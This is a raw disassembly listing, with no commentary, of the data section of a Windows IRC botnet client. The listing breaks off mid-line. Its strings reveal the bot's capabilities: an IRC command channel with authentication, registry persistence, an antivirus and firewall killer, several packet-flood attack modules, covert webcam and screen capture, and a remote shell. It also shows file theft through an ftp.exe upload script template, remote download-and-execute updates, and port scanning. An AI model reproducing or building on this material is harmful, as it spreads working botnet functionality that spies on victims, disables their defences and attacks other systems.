DATA XREF: sub_401ACD+7F26o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd 0 dd offset dword_43D128 dd offset aAdministrato_0 ; "administrator" align 10h dword_429230 dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co ; ___:00429228o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4292D0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429304 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429330 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_429370 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429394 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_4293B0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_4293BC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_4293C4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_4293CC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429434 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429454 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_429474 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_4294C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429548: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_42954C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_429570 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_429598 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_4295BC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_4295E0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429604 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429628 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429644 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429670 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429694 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4296BC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_4296E8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429710 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429734 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429754 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_42977C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4297A4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4297C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429814 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429868 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_429884 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_4298A8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_4298C0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429900 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429918 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_429934 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_429954 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42996C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_429998: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_4299C0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_4299E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_429A24 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_429A64 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_429A98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_429AD0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_429B38 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_429BCC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_429C30 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_429C4C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_429CE4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_429D00 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_429D14 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_429D20 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_429D48 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_429D64 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_429D80 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_429D88 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_429DA4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_429DB0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_429DB8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_429DC0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_429DFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_429E98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_429ECC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_429EE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_429EF8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_429F08 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_429F50 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_429F8C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_429FC4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_429FE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A070 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A07C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A0A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A110 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A13C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A178 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A1A8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A1E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A248 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A2B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A2EC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A32C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A3D8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42A434 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42A440 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A47C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42A4CC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A504 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42A5D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42A674 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42A69C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42A6DC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A714 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42A75C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db 